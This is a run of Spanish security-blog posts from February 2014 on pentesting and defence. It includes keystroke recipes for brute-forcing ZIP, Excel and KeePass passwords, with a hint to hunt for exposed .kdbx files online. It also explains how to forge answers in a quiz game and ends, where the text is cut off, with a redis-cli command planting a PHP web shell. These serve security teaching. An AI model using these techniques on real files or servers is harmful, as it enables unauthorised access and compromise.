28 febrero 2014

Ataques basados en diccionario en aplicaciones de escritorio

En una tarde de ocio dedicada al juego Guild Wars 2 observé como uno de los mapas estaba repleto de bots dando vueltas en círculos y matando todo bicho que apareciera en su camino para recolectar y generar oro virtual que intercambiar por dinero real en alguno de las muchas plataformas Web de venta de estos servicios:


Esta idea despertó mi curiosidad sobre cómo estarían desarrollados..., si repetirían un determinado flujo de paquetes en la red (lo que descarto porque debe ser una auténtica locura), o si se programaría simulando pulsaciones de teclado y capturando las respuestas de la aplicación.

En mi acercamiento a este problema opté por la segunda opción, y cuando tenía medio bot programado me di cuenta que tenía los elementos necesarios para realizar otro tipo de ataques...

Desktop Brute Forcer (DeBF)

Son habituales las herramientas de fuerza bruta como Intruder de Burp o ZAP en entornos Web, Medusa para atacar a múltiples protocolos..., pero no lo son tanto las orientadas a atacar un formulario de escritorio, aquí es donde mi medio-bot puede aportar una nueva mecánica:



El funcionamiento es sencillo:
  • En Path to dictionary file se introduce la ruta al diccionario de palabras que queréis utilizar en el ataque (podéis ayudaros con el botón examinar). La aplicación espera un diccionario donde tengáis las palabras separadas por saltos de línea y os propondrá un diccionario incluido con la aplicación.
  • En Keystrokes definimos las pulsaciones que hace falta enviar al formulario, ya sabéis, escribir la palabra, darle al ENTER para obtener el mensaje de clave incorrecta, darle otra vez al ENTER para cerrarlo, después a lo mejor tenemos que esperar unos instantes hasta que nos vuelve a mostrar el formulario de introducir contraseña..., para todo esto contáis con las siguientes palabras reservadas:
    • El símbolo $$ será reemplazado con la palabra del diccionario que se probará en esa iteración
    • El símbolo ##X##, donde X es un número, indica que se dormirá el proceso durante X milisegundos. Por ejemplo, ##100## es que dormimos 100 milisegundos
    • El símbolo {YYYY}, indica que hay que enviar una tecla especial. Por ejemplo enter sería {ENTER} y escape {ESC}. Si queréis presionar ALT+A escribiréis %(A), y si queréis presionar ALT, soltar, y después presionar A escribiréis $()A. Lo tenéis mejor documentado en este enlace de MSDN.
  • Una vez configuradas las pulsaciones hay que presionar "Smash the form!". La aplicación nos informará de que tenemos 3 segundos para establecer el foco sobre el formulario que se quiere atacar. Sólo queda dejarlo trabajar (no os perdáis los vídeos de los ejemplos de más abajo).
  • NOTA: Si se quiere cancelar el ataque sólo hay que ponerle el foco al formulario de DesktopBruteForcer durante el ataque

Algunos ejemplos de recetas de pulsaciones

Aplicación: Descompresor ZIP de Windows 7, para romper un ZIP protegido por contraseña
Vídeo: Enlace
Receta
$${ENTER}{ENTER}##100##
Descripción:
Escribe la palabra, presiona enter para comprobarla, presiona enter para cerrar el mensaje de error, espera 100 milisegundos antes de escribir la siguiente palabra.

Aplicación: Excel 2007, para romper la contraseña de un libro protegido
Vídeo: Enlace
Receta
%()AA##150##exc##100##e{DOWN}##300##{ENTER}$${ENTER}{ENTER}##100##
Descripción:
Presiona ALT, luego A (para abrir el menu), después A (para seleccionar la opción ABRIR). Espera 150ms y después escribe "exc" (porque el fichero protegido se llama Excel.xls), espera 100ms para que te sugiera el nombre, escribe otra "e" para asegurar el nombre, presiona abajo para seleccionar el nombre propuesto por el formulario, espera 150ms y le da al enter para seleccionar el nombre propuesto. En este momento salta el formulario de introducir clave, se escribe la clave, se envía con ENTER, y se cierra el mensaje de error con ENTER. Se esperan 100ms antes de volver a intentar la siguiente clave.
Nota: Para que funcione esta receta el fichero tiene que llamarse "Excel.xlsx" y estar en el directorio propuesto por la aplicación cuando se muestre el formulario de Excel.

Aplicación: KeePass 2.25, para romper la clave maestra de un fichero
Vídeo: Enlace
Receta
%(){DOWN 3}{RIGHT}{ENTER}##150##$${ENTER}##500##{ENTER}##100##{ESC}##100##
Descripción:
Presiona ALT, luego abajo 3 veces (para ir a la opción de abrir reciente), después derecha y luego ENTER (para seleccionar el primer elemento propuesto). Espera 150ms, escribe la contraseña y luego enter para comprobarla. Espera 500ms a que nos de error, presionar ENTER para cerrar la ventana de error, espera otros 100ms, después ESC para cancelar la ventana y volver al principio y espera otros 100ms antes de volver a empezar.
Nota: Para que funcione esta receta el fichero tiene que encontrarse el primero entre los ficheros recientes.
Nota2: ¿Cuál sería el resultado de buscar en google "ext:kdbx" y pasarle el diccionario top 100 claves de Adobe a los resultados?

Conclusiones

No deja de ser una prueba de concepto porque cualquier ataque contra un algoritmo en concreto será capaz de generar muchísimas más contraseñas por segundo y será más eficiente que este método, sin embargo en determinadas circunstancias puede que no podamos atacar el algoritmo y en esos casos este sistema puede daros una oportunidad.

Descarga de la herramienta

Enlaces de descarga a la herramienta:
  • Proyecto en GitHub. Es licencia GPL así que no dudéis en hacer vuestro propio fork ;) .
  • Zip con la aplicación compilada. Requiere .NET Framework 4 .

Artículo cortesía de Miguel Ángel García
Twitter: @nodoraiz
Leer más...

27 febrero 2014

Buenas prácticas de seguridad en Gestión de Dispositivos Móviles (MDM)


Esta semana se está celebrando en Barcelona el Mobile World Congress 2014. En este evento se concentra el "estado del arte" de la tecnología móvil. Lo que hay y lo que está por venir, las tendencias en cuanto a qué puede llegar a pasar con esos cacharros a los cuáles estamos pegados todo el santo día, y para cuya adicción ya hay hasta nombre de enfermedad: Nomofobia.

Las redes sociales, el Whatsapp Facebook, Twitter, Telegram, Apalabrados, Candy Crush, los juegos de casitas o hasta a veces el correo electrónico es lo que hace que estemos día y noche pendientes de un trasto que sólo tiene dos necesidades: batería y conexión a Internet. 

En el mundo laboral, los empleados de empresas que tienen necesidad de estar "Always On", requieren acceder a los recursos internos de sus empresas, así como manejar información sensible, desde dispositivos no considerados típicamente ordenadores portátiles.

Las tablets y los smartphones, tienen más roles que los típicamente conocidos: llamadas, SMS, juegos, fotos, redes sociales, etc,... es decir, que la probabilidad de que se instale malware, voluntaria o involuntariamente, o que nuestro tráfico o pulsaciones de teclado sean monitorizadas es mayor. Así, como se maneja información sensible a nivel de empresa desde ellos, han de tenerse en consideración como activos digitales de la organización, aplicando las medidas de seguridad necesarias.

A petición de uno de los clientes de Securízame, he elaborado un informe que recoge las recomendaciones de seguridad, según mi criterio y experiencia, a tener en cuenta a la hora de gestionar el parque móvil, unificando dispositivos móviles (smartphones y tablets) con los ordenadores portátiles convencionales.

Como el humilde blog de Securízame no tiene el mismo ritmo de visitas que Security By Default, he querido compartirlo con nuestros lectores de aquí. Como con todo aquello que escribo, diseño o programo,... si a alguien le sirve, me doy por satisfecho.

[+] Enlace de descarga de PDF (con licencia Creative Commons): Recomendaciones de Seguridad de Mobile Device Management (MDM) 


Leer más...

26 febrero 2014

Detectando celdas falsas GSM/GPRS con Cell Analysis

Introducción

Durante este último año, investigando los ataques y vulnerabilidades en la red GSM, me di de bruces con el ataque de la estación falsa BTS. Este consiste en un ataque "Man In The Middle" tradicional, en el que el atacante sitúa su propia antena entre nuestro terminal y la red. La base para que este ataque sea factible son dos vulnerabilidades muy sencillas:

  1. Nuestro terminal NO autentifica la red GSM a la que se conecta, la supone segura.
  2. El terminal se conecta siempre a la celda que mejor nivel de señal le proporcione.
Este tipo de ataques han sido documentados en varias conferencias de seguridad; BlackHat 2011, CCC, DefCon, etc. Como muestra el video de DefCon 18, de Chris Paget, "Practical Cellphone Spying"


Esto además se complica (o mejora para los posibles atacantes) al poder crear una celda falsa utilizando únicamente un teléfono compatible con osmocom y el software OpenBTS u Osmo-BTS. Ya no es necesario ningún hardware caro ni raro de conseguir, ni soldar y des-soldar las placas del USRP1, ni una BTS real: sólo un teléfono Osmocom.

¿Cómo protegernos de estos ataques?

El equipo de SRLabs (Karsten Nohl) ha creado la herramienta catchercatcher para detectar posibles ataques, tal y como publicaron en el 28C3, basándose por supuesto en OsmocomBB. Cuando lo he probado, hay algo que no me ha gustado: para que el software detecte los ataques necesitamos ejecutar el programa con una tarjeta SIM dentro del teléfono. ¿Qué pasa si me quiero desplazar a otro sitio? ¿Dejo de detectar posibles ataques? Lógicamente la necesidad de la tarjeta SIM tiene su explicación, ya que con este programa también se detectan los famosos SMS invisibles (para lo cual necesitamos estar registrados en la red GSM).

Respetando la idea de SRLabs he creado un proyecto nuevo: Cell Analysis, con un fin claro y sencillo: detectar celdas falsas (BTS falsas, IMSI Catcher o BTS Rogue, como queráis llamarlo). Para ello necesitaremos un teléfono osmocom y no vamos a utilizar ninguna tarjeta SIM, escanearemos todas las celdas independientemente de la operadora a la que pertenezcan.

La base de la detección es precisamente que una celda falsa nunca llevará el mismo tráfico de control que una celda real. ¿Qué es tráfico de control? En el standard GSM se han definido canales lógicos para transmitir y recibir la información según una jerarquía de canales:



Dentro del canal de control común ("CCCH") nos vamos a fijar en el canal de Paging ("PCH"), que es el que la red GSM utiliza para alertar a los abonados que tienen un servicio pendiente de entrega, donde el servicio será una llamada, un mensaje corto, etc. ¿Y que tiene una celda falsa que decirles a sus abonados? ... Nada o muy poco.

A continuación muestro dos capturas realizadas del tráfico del canal de control común en celdas de cada tipo: real y falsa:



Fijaros bien en el contenido de los mensajes "Paging Request", porque en el caso de la celda falsa el campo "Mobile Identity" está siempre o casi siempre vacío, puesto que no hay usuarios reales a los que anunciarles la entrega de servicios. El porcentaje de mensajes sin un TMSI o un IMSI no puede apreciarse en la captura de pantalla, pero si en la celda falsa no hay ningún teléfono conectado será del 100%. Sin embargo en una celda real el campo "Mobile Identity", la mayor parte de la veces llevará un TMSI o IMSI en porcentajes elevados. Dependiendo de la hora del día, de la celda, de la operadora y más parámetros, variará el valor del porcentaje de mensajes de "Paging Request" con un abonado, pero nunca alcanzará el valor de la celda falsa.

Este análisis es el que va a realizar el programa para cada celda que encuentre y lo hará continuamente cada 10 minutos, hasta que decidamos parar la aplicación. Para cada una de las celdas que no son falsas, generará un fichero CSV con la fecha y hora así como los valores de abonados conectados y potencia con la que el teléfono osmocom recibe la señal de esa celda. Con cada celda falsa que encuentre enviará a una cuenta de correo configurada previamente un email de alarma. Por último, aquellas medidas que hayan tenido demasiados errores ("Dropping Frames", "BURST IND", etc) serán ignoradas guardándose en un tercer fichero de medidas ignoradas.

Para descargar Cell Analysis, esta es la web donde además podéis encontrar las instrucciones para instalarlo y configurarlo correctamente.

Test de Cell Analysis

Para probar la detección he elegido el escenario más simple, dos teléfono osmocom; uno corriendo Cell Analysis (monitorizando el tráfico) y el otro corriendo el SW de transmisión con OpenBTS (transmitiendo una celda falsa).


NOTA IMPORTANTE: transmitir en el espectro de frecuencias asignado a GSM es un delito, esta prueba debe ser llevada a cabo con una jaula de faraday para aislar el alcance de nuestra transmisión.

Una vez la celda falsa queda definida y configurada con valores reales (MCC 214, MNC 22 y ARFCN 1), tal y como se haría en un ataque real, el segundo teléfono osmocom empieza a transmitir:



El primer teléfono empieza a ejecutar Cell Analysis. Observar en la segunda ventana (al frente) el listado de las celdas que ha encontrado el teléfono y fijaros en la tercera celda (es la falsa):


Cuando Cell Analysis realiza el siguiente paso, que es la monitorización del trafico del canal de control común, sólo encuentra los mensajes "System Information" SI1 y SI3, pero no encuentra ningún abonado en la celda:


Por lo que se genera una alarma correspondiente en un fichero CSV y se envía por correo.

Conclusiones

- Como hemos visto, sí se pueden detectar sin problemas las celdas falsas y avisar para, desde luego apagar cualquier teléfono que pueda ser víctima del ataque ya que en nuestros terminales no podemos forzar o elegir a qué celda se deben conectar, lo harán a la que mejor señal les entregue.

- Cell Analysis también genera ficheros CSV para las celdas que no son falsas con medidas de potencia y número de abonados acampados en ella. Se pueden visualizar los resultados en Excel de manera muy sencilla:


- En toda monitorizacíón hay un parámetro que mide la eficacia: la cantidad (o ausencia) de alarmas falsas generadas. Durante semanas he tenido corriendo el programa y no ha detectado ninguna alarma falsa, pero lógicamente es más que probable que esto pueda suceder. Por ejemplo: si una celda real tiene una avería y  momentáneamente los abonados no pueden acampar en ella, sus "Paging Request" estarán vacíos.

Sobre FakeBTS.com

 - El proyecto Cell Analysis se encuentra recogido en la web fakebts.com donde seguiré actualizando siguientes versiones con mejoras pendientes de implementar:
  • Pequeño interfaz web para comprobar el estado de la monitorización y gestionar las alarmas
  • Recoger las medidas de las celdas con "rrdtool" para mostrar gráficas en el interfaz web en tiempo real
  • Crear paquetes .deb para facilitar la instalación en Ubuntu
  • Portar el proyecto a la plataforma ARM (Raspberry Pi)
  • Seguir investigando distintas celdas falsas en busca de nuevos retos a detectar
Autor: Pedro Cabrera

Leer más...

25 febrero 2014

VUESTROS "ETHERNET EXPOSED" - XXIII

Seguimos recibiendo más y más fotos con vuestros ETHERNET EXPOSED, imágenes que realizáis a tomas ethernet que se encuentren expuestas en lugares curiosos, transitados, accesibles... y que posteriormente nos enviáis a nuestra dirección de contacto.

En la edición de hoy contamos con las contribuciones de Óscar Rodríguez, Miguel Ángel, Xavier Rubio y Juan Segui.

En primer lugar, mostramos el Ethernet Exposed que nos envió Óscar Rodríguez a nuestra dirección de contacto, contándonos que se encontró lo siguiente en una conocida tienda de muebles, en el stand de consulta:


Una pena que esté tan a desmano, la verdad es que hay algunos nombres de muebles que les vendría bien alguna modificación...

Miguel Ángel nos envió la siguiente contribución a nuestro correo:
Hola!!! 
Como os he puesto por twitter, esto lo saqué la semana pasada en el restaurante Ribs del c.c. Diversia. Está además bastante escondidito entre las mesas (en la plataforma de enfrente de los baños) como para "investigar" a fondo mientras comes tranquilamente. :) Se ve que tenían algo conectado y los muy cenutrios en vez de desenchufar cortaron el cable. :-O así que imagino que al menos en esa boca hay algo. Si vuelvo, lo haré con el portátil a ver que hay. }:)


¿Costillas, salsa barbacoa, tiempo de espera y una red ethernet disponible? la combinación de los campeones.

Xavier Rubio nos envió un conjunto de imágenes de un cajero en Barcelona, en el cual se podía apreciar dentro de la oficina que existía un punto de acceso recién desmantelado cuya desinstalación parecía no haberse completado. Al igual que en muchas ocasiones, dicho punto quedaba cerca de la zona de espera de clientes:


Por último, le toca el turno a otro cajero de la mano de Juan Segui, en el que se aprecia algo muy parecido al caos y desorden exposed:
Buenas tardes, no sé si os habrán enviado esta foto antes, pero este "apaño" está encima del cajero automático junto al supermercado del Corte Inglés de Callao (Madrid). Lleva desde tiempos inmemoriables igual... ¿?

Alguien parece que se cree que puede colocar su miniCPD encima del cajero. Si bien podría parecer algo temporal por un posible mantenimiento, cuando han comentado que lleva así tiempos inmemoriables...se convierte en preocupante.

Como siempre os decimos, nuestra dirección de correo sigue abierta a todas aquellas contribuciones de ETHERNET EXPOSED que os encontréis, ¡muchas gracias a todos y hasta la próxima!

---------------

Leer más...

24 febrero 2014

El Desafío O-ISM3

La mayor parte de los profesionales de seguridad de la información, especialmente consultores y aquellos que tienen certificaciones de seguridad que no nombraré, así como numerosos estándares consideran que los conceptos de Confidencialidad, Integridad y Disponibilidad resumen adecuadamente los objetivos fundamentales de la seguridad de la información. Estos conceptos se utilizan en auditorias, análisis de riesgos, gestión y desarrollo de nuevos estándares. Ahora bien, estos conceptos presentan varios problemas que están sin resolver: 
  • Son incompletos. Hay quien complementa los tres conceptos mencionados con otros como. Posesion, Utilidad, Riesgo, Autenticación, Autorización, Auditoría, No-Repudio y Accountability. Esto implica que según qué cóctel de complemento haya elegido la persona o empresa que realiza una tarea relacionada con seguridad de la información, esta se realizará de una forma distinta (llamo a esto una variabilidad elevada). Puede que alguien no considere esto un problema. Pensar que según el médico que me toque me van a diagnosticar algo distinto, y que según el arquitecto que me toque, el edificio donde vivo durará cien años o se caerá mañana, no me parece una situación deseable. Cuando algo es realmente importante, es necesario que el trabajo se realice de la forma más consistente posible. 
  • Son ambiguos. Muchos profesionales e incluso estandares dan definiciones ligeramente distintas de Confidencialidad, Integridad y Disponibilidad. Esto aumenta la variabilidad, lo que no es deseable. 
  • No están definidos operacionalmente. Una definición operacional define un concepto mediante el proceso que se utiliza para medirlo, sin intentar definir su esencia. Al no ser definiciones operacionales, no es posible definir otros conceptos útiles como Amenazas, Incidentes, Vulnerabilidad o Debilidad en términos de Confidencialidad, Integridad y Disponibilidad, lo que incrementa la variabilidad. He visto numerosos debates en los que profesionales con años de experiencia no conseguían llegar a una acuerdo acerca de qué es un Incidente o una Vulnerabilidad. Me pregunto como puedes gestionar algo si ni siquiera lo puedes definir. Y no, una defnicion personal que sobre la que no hay un acuerdo amplio, no es válida. 
  • No tienen unidades de medida. Esto impide de forma cuantitativa la seguridad de la información. Sin medidas cuantitativas es imposible la optimización de recursos. 
El uso de conceptos ambiguos, incompletos y que no están definidos operacionalmente crea una serie de problemas para la gestión de la seguridad de la información. La comunicación entre especialistas y el negocio es difícil. Demostrar el valor que aporta al negocio la seguridad de la información es difícil. En general nos complican la vida más que nos la simplifican. Se desperdicia tiempo, se invierte donde no tiene sentido invertir, y se deja de invertir donde se debería.

Llevo varios años hablando en artículos y presentaciones sobre esto, recientemente en la NoConName y en la reunión de la ISACA Madrid, pero quizá está crítica no tiene sentido o no tiene valor, porque no he escuchado comentarios apoyándola.

Creo que las necesidades de seguridad de un negocio no tienen porque coincidir con las marcadas por ningún estándar de cumplimiento. Mis opiniones sobre el cumplimiento normativo mejor las expresaré en otra ocasión.

Inspirado por el James Randi Foundation Challenge, que ofrece un millón de dólares a quien pruebe tener capacidades paranormales, he decidido crear el Desafío O-ISM3. Con este desafío pretendo demostrar, mediante un caso práctico, que confidencialidad, integridad y disponibilidad no son imprescindibles, y de hecho ni siquiera son necesarias para entender las necesidades de seguridad de una organización.

Afortunadamente existe una alternativa, que es la utilización de conceptos definidos operacionalmente, que no son ambiguos, no son incompletos y tienen unidades de medida Estos conceptos son los "objetivos de seguridad" de O-ISM3, un estándar que vengo promoviendo desde hace años.

Os animo a difundir estas ideas, entrar en el debate y participar en el Desafío O-ISM3.

Contribución gracias a Vicente Aceituno
Leer más...

23 febrero 2014

Enlaces de la SECmana - 215


Leer más...

21 febrero 2014

Formación en Rooted CON - RootedLabs 2014

El mes pasado anunciábamos que se acercaba la RootedCON otro año más, y con el, los RootedLabs, talleres prácticos e intensivos (8 horas) en los que los asistentes aprenderán distintas especialidades de seguridad.

Desde entonces las plazas han empezado a volar y se han anunciado tres nuevos cursos: Rlab36 - Técnicas de ataque sobre clientes Wi-Fi de  Raúl Siles, Rlab 37 - Pentesting con FOCA de Chema Alonso y tras completarse el mío propio, se ha duplicado con una nueva sesión: Rlab33 Iniciación al Ethical Hacking con Kali, en el que como todos los años, introduciré interesantes cambios


Esta es la lista de los cursos que hay ahora mismo disponibles, los profesores y y las plazas disponibles hasta el momento. 

Lunes, 3 de Marzo
Rlab30 Reversing de aplicaciones y análisis forense en Android impartido por Luis Delgado [7]
Rlab35 Inteligencia Digital impartido por Dani Creus y Vicente Díaz   [7]
Rlab36 Técnicas de ataque sobre clientes Wi-Fi impartido por Raúl Siles [5]

Martes, 4 de Marzo
Rlab31 Metasploit para Pentesters impartido por Pablo González [6]
Rlab32 Auditoría y fortificación de infraestructuras  de Juan Garrido (Silverhack) COMPLETO
Rlab33 Iniciación al Ethical Hacking con Kali impartido por Alejandro Ramos [7]

Miércoles, 5 de Marzo
Rlab33 Iniciación al Ethical Hacking con Kali impartido Alejandro Ramos  COMPLETO
Rlab34 Seguridad y optimización en servidores GLAMP impartido por David Hernandez (dabo) [4]
Rlab37 Pentesting con FOCA impartido por Chema Alonso [6]

Tienes más información detallada sobre la localización y horarios en la sección RootedLabs dentro de la página de RootedCON.

Para mi es una alegría que después de 4 años consecutivos con este lab y más de 90 alumnos distintos, aún despierte interés el curso y algunos alumnos me comenten que están allí porque se lo han recomendado. ¡Gracias! 

Allí nos vemos \m/ 
Leer más...

20 febrero 2014

El SAT de Apple y mi privacidad




Muchas veces me habréis visto defender el servicio de Apple, que con el sobreprecio que se paga por cualquier dispositivo, te atiendan de una forma profesional cuanto menos.

Fue justo en el peor momento, en una presentación con un responsable de seguridad de una gran empresa, que mi MacBook Pro dio su primer aviso.

No detectaba el disco duro y me aparecía un icono que daba muy pocas esperanzas. Sin embargo, al tercer intento, como en las películas de terror, cuando el monstruo persigue a la protagonista, el mac arrancó, y pudimos cumplir con el objetivo de la reunión.

Lo que aún no os he dicho es que al día siguiente, me marchaba a un minitour de charlas, una en Palencia (las Terceras jornadas de Villamuriel de Cerrato) y al día siguiente en Logroño, organizado por el Gobierno de la Rioja y ANCITE. Os podéis imaginar que cuando llegué a casa, mi Macbook Pro definitivamente ni arrancaba. En vez de al sistema operativo, a quien le dio el Kernel Panic fue a mí.

Extraje el disco duro y lo pinché a un dock SATA-USB, y la información del disco seguía intacta y verificable, es decir, que lo que parecía que podía ser un bonito disco duro SSD muerto, apuntó a ser el cable SATA con el que éste se conecta 

Salí zumbando a la tienda Apple de Las Rozas en Madrid, sin cita previa ni nada a eso de las 20:00. Para conseguir una cita rápida y un trato preferente, no tuve que hacer ningún tipo de ingeniería social, sino decirle la verdad a quien me atendió, y tras ver la cara de desesperación que traía, accedieron a mirarme de inmediato el ordenador.

Siendo que he montado mis propios ordenadores desde hace montones de años, y que cosa que pillo la desarmo por hobby o vicio, les comenté que me vendiesen la pieza y que yo mismo la cambiaría, puesto que me aportaba poco valor que me la cambiasen allí a cambio de un precio/hora desmedido, a mi entender. La respuesta de ellos: Lo sentimos. Si tenemos la pieza la tiene que cambiar un ingeniero autorizado por Apple, no puede ser usted mismo. Ni lo entendí ni estuve de acuerdo, pero como la necesidad tiene cara de hereje, directamente accedí a que me la cambiasen y ya está.

Firmé un papel que aceptaba el presupuesto y un montón de cosas en letra pequeña, y me cambiaron esa pieza. Al ver que el Mac arrancaba, mi cara cambió, mi corazón dejó de sonar como el árbol de levas de un Fórmula 1 y pude relajarme un rato. Pedí que me dejasen ver la pieza defectuosa y, pese a que no le encontré problema físico alguno, está claro que hacía la diferencia. Cuando ya me iba, con mi Mac y el cable SATA en la mano, me dijeron: “Perdona, la pieza vieja nos la quedamos nosotros”. Mi respuesta: “oye que yo he pagado por la nueva y por la vieja, me la llevo y la miro con calma en casa”. Y según me dijeron: “Según lo que has firmado, esa pieza rota es propiedad de Apple”… Me quedé con cara de circunstancia, y sinceramente, ya que era “un cacho de plástico” me dio igual. 

Sin embargo, días después, mi exnovia me dice por Whatsapp que tuvo que llevar su Mac a una tienda Apple, y que lo que había cascado a nivel físico era el disco duro. Que le habían puesto uno nuevo, con el último sistema operativo, y que entre otras cosas, de las que no tenía backup, había perdido un montón de fotos que teníamos juntos, que se quedaron en el disco duro viejo. Mi contestación: “oye pero si tienes el disco, y es un tema de arranque, podemos intentar recuperar los datos igualmente”. Su respuesta: “No no, si es que el disco se lo han quedado allí”…. Increíble, es decir que por la misma regla de tres que con mi cable SATA (que no contiene datos personales) se quedan con un disco duro que puede tener fotos, videos o ficheros de cualquier índoles que son de la absoluta privacidad de ella (y por asociación, de la mía). 

Entiendo que Apple dirá que con la información contenida en ese disco (si es recuperable) se destruye sin intentarlo pero, entre que sale de la tienda Apple y llega a los servicios de “wipeado” de Apple, ¿quién tiene acceso a ello? ¿Quién me garantiza que nadie del SAT se pone a ver qué tenía ese disco dentro? Tengo claro que no sería la primera vez que estas cosas pasan.

Y es que cada vez empiezo a estar más harto que todo tenga que ceñirse a que hay una “política firmada”, o que hay que limitar la tecnología o las acciones posibles o de sentido común, porque hay una ley de la “República Independiente de mi Casa” que se amolda a los intereses y conveniencias de empresas como la todopoderosa Apple, importándoles un pimiento los derechos de los usuarios. Y es que en esta historia se han cometido, a mi parecer, dos irregularidades: Primero que no te vendan la pieza en concreto y que no me permitan ahorrarme un dinero innecesario en una mano de obra que no necesitaba (monopolismo y cohartamiento de mi libertad en la compra de un recambio), y por otra parte, que se queden con la pieza antigua, conteniendo ésta datos privados en el caso del disco duro defectuoso (vulnerando la privacidad de la información de sus clientes).


Como sucede con empresas que están en la situación de poder ante sus usuarios, en un caso porque, o compro la pieza a su manera o no puedo solucionar el problema, y en el otro por no saber cambiar un disco duro por otro nuevo, al final no nos queda otra que pasar por el aro, sin tener la posibilidad de elegir si quieres encargarte personalmente de la destrucción de tu información.
Leer más...

19 febrero 2014

Jugando con Cuadraditos

Hace poco llegó a mi otro juego de Google Play, en este caso se trata de Cuadraditos, juego en el que en turnos de 3 en 3 movimientos nos enfrentaremos a un contrincante seleccionando bordes y apuntándonos un punto cada vez que completemos el último borde de un cuadrado.

El giro de tuerca que propone el juego consiste en que para apuntarnos el borde tendremos que responder correctamente a una pregunta..., ¿o tal vez no?. Vamos a verlo.


Reuniendo información 

Empecemos analizando las peticiones que se intercambian cuando seleccionamos un borde:


En la petición ya vemos algunos campos a destacar:
  • access_token: Es un token de acceso que varía con cada inicio de sesión en la aplicación
  • match_id: Es el identificador de la partida en curso
  • version: Es el turno por el que nos vamos en el juego

Si vemos la respuesta que nos devuelve el servidor a la petición anterior encontraremos lo siguiente:


En la estructura JSON que el servidor nos devuelve al seleccionar un borde recibimos los siguientes campos a destacar:
  • question: Es la pregunta que nos realiza el juego
  • answers: Son las posibles respuestas
  • correct_answer: Es el hash con la respuesta correcta
  • ticket: Un token asociado a la pregunta que hemos recibido en este turno

Buceando en el código

Llegados a este punto lo primero que intentaremos será analizar el hash recibido enviándolo a la herramienta "hash-identifier":


Identifica que posiblemente se trate de un hash MD5 así que intentamos generar algunos resúmenes en busca del literal o literales a combinar sobre los que aplicar el hash:


Además de las cadenas más evidentes, se prueban distintas combinaciones en las que se incluye el turno, el ID de la pregunta, la propia pregunta, la posición de la respuesta correcta dentro del array de respuestas.., todo ello sin éxito. 

Vista la resistencia optamos por descargar y analizar el APK como ya lo hicimos en el caso del juego Pixel Dungeon con la diferencia de que esta vez no vamos a tener tanta suerte para analizar el código, se encuentra ofuscado:


Si os sentís fuertes para desenredar el código veréis que la palabra "correct_answer" que sería la que más nos aproximaría al resultado que buscamos no nos devolverá ningún resultado.
Buscar por otras palabras encontradas en la estructura JSON como "answers" y "question" sí nos devolverá resultados, sin embargo explorar esta vía será tedioso debido a la ofuscación, de modo que sin querer disuadir a nadie de resolver el misterio de este hash, aplicando pensamiento divergente voy a buscar otras vías de resolución.

Reuniendo más información

Continuemos capturando tráfico generado por la aplicación, veamos qué ocurre cuando acertamos una pregunta:


He resaltado en la petición los detalles más relevantes, pero comento los principales campos:
  • match_id: Identificador de la partida en curso
  • version: Turno por el que va la partida. Se envía un 1 porque estamos contestando a la pregunta anterior del primer turno
  • access_token: Token de sesión de juego. Coincide con el enviado al seleccionar el borde
  • message: Campo codificado que incluye el ticket asociado a la pregunta que nos han hecho en el turno 1 y el borde que queremos desbloquear. Podemos ver más claramente su contenido en la siguiente captura:


Sacamos entonces las siguientes conclusiones:
  • No se observa que en la dinámica de acierto se envíe de ningún modo la respuesta seleccionada al servidor, de modo que deducimos que la validación se realiza en nuestra aplicación
  • Hay que incluir en el campo version el mismo valor que obtuvimos al solicitar la pregunta, que será el número de turno de la partida 
  • En el campo message se incluye:
    • Un literal "take_border" que indica al servidor que se quiere capturar un borde
    • El valor del ticket que se había recibido al seleccionar un borde
    • Un número que indica el borde que se quiere desbloquear

Veamos ahora lo que ocurre cuando fallamos una pregunta:



Si observamos los datos enviados identificamos los siguientes campos importantes:
  • match_id: Identificador de la partida que estamos jugando
  • version: Turno que estamos jugando. En este caso es 7 porque yo he jugado 3 turnos y después mi contrincante otros 3
  • access_token. Token de sesión de juego
  • message. Campo codificado que indica que hemos fallado y el ticket asociado a la pregunta que nos han hecho en el turno 7. Se pueden ver sus valores más claramente en la siguiente captura:



Se confirman nuestras sospechas, en el caso de fallo vemos como sólo varían los campos de version (porque son turnos diferentes) y message (que incluye un literal "question_fail" y el ticket correspondiente a la pregunta fallida).


Conclusión final


Hemos visto a través del análisis entre acierto y fallo que la información que se envía al servidor se asume válida, de modo que si queremos falsear un acierto no necesitaremos conocer la respuesta correcta, nos valdrá con saber el turno en el que nos encontramos, el ticket asociado a la pregunta y el borde que queremos desbloquear.

Respecto a los bordes a desbloquear, realizar algunas pruebas refleja que los valores asignados parten de 0 y crecen en orden izquierdo, arriba y derecha. Os dejo en la siguiente imagen algunos valores:


Si tenemos que resumir el problema podemos indicar que comete un error habitual de algunas aplicaciones Web, un sistema no puede basar su confianza en validar en cliente sin realizar validación en servidor, de hacerlo así se permite a los usuarios malintencionados la posibilidad de alterar y falsificar las entradas.

Finalmente, os dejo un ejemplo en video de la explotación de esta "vulnerabilidad" del juego y un enlace de descarga:



Artículo cortesía de Miguel Ángel García.
Twitter: @nodoraiz
Leer más...

18 febrero 2014

[2/2] Seguridad en Redis - Auditoria

Como vimos en la entrada anterior redis está diseñado para trabajar en redes de confianza, que es exactamente lo mismo que decir que no han aplicado medidas de seguridad en cuanto a la definición de accesos y roles  o protecciones para salvaguardar la confidencialidad e integridad de los datos que en este motor se almacenan.

Si leísteis el artículo anterior rápidamente conoceréis por dónde van los tiros a la hora de llevar a cabo una auditoría. Por el contrario, los escenarios de riesgo a los que se someterá la información son múltiples. A continuación unos cuantos ejemplos de lo que se podría llegar a hacer con uno de estos sistemas para que sirvan como casos de uso en un tests de intrusión.


0.- Acceso a los datos.
Este punto cero es obvio, pero si no existe autenticación (tal y como se comentaba en el artículo anterior, por defecto no se incluye el parámetro requirepass) se acceden a todos los datos con un "GET *" y otros comandos similares.

Es común usar redis para almacenar información sensible, como por ejemplo la sesión de una página web, lo que este acceso abierto es crítico. 

1.- Ejecución de comandos.
En el peor de los casos se puede llegar a ejecutar comandos en un servidor redis siempre y cuando se den varias condiciones y errores de configuración. 
a) se debe tener acceso a algún comando para almacenar información, como por ejemplo SET. Esto significa que si el servidor requiere contraseña (tiene establecido requirepass) se debe conocer su valor. 
b) también se debe poder invocar el comando CONFIG.
c) el usuario que ejecuta redis debe tener permisos de escritura en algún directorio del sistema al que se le pueda sacar provecho.

Un ejemplo, en un sistema con apache/php que dispone de un directorio dentro del Document Root (/var/www/cache/) en el que redis puede escribir.

root@ubuntu:~# redis-cli -h 192.168.118.154
redis 192.168.118.154:6379> set b '<?php echo shell_exec($_GET["cmd"]." 2>&1"); ?>'
OK
